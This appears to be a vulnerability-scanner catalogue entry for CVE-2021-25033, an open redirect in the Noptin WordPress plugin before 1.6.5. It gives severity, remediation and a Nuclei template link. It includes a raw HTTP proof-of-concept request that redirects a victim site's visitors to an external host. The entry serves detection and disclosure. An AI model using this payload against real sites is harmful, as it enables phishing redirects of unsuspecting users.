| Title | Noptin < 1.6.5 - Open Redirect |
|---|---|
| Author | dhiyaneshDk |
| Severity | Medium |
| Impact | An attacker can trick users into visiting malicious websites, leading to phishing attacks. |
| Remediation | Update to Noptin plugin version 1.6.5 or later. |
| CVSS Score | 6.1 |
| EPSS Score | 0.01059 |
| CVE ID | CVE-2021-25033 |
| CWE ID | CWE-601 |
| Tags | cve2021 cve wp wpscan wordpress redirect wp-plugin noptin vuln |
Noptin < 1.6.5 is susceptible to an open redirect vulnerability. The plugin does not validate the “to” parameter before redirecting the user to its given value, leading to an open redirect issue.
GET /?noptin_ns=email_click&to=https://interact.sh HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-25033.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-25033.pcap
N/AN/A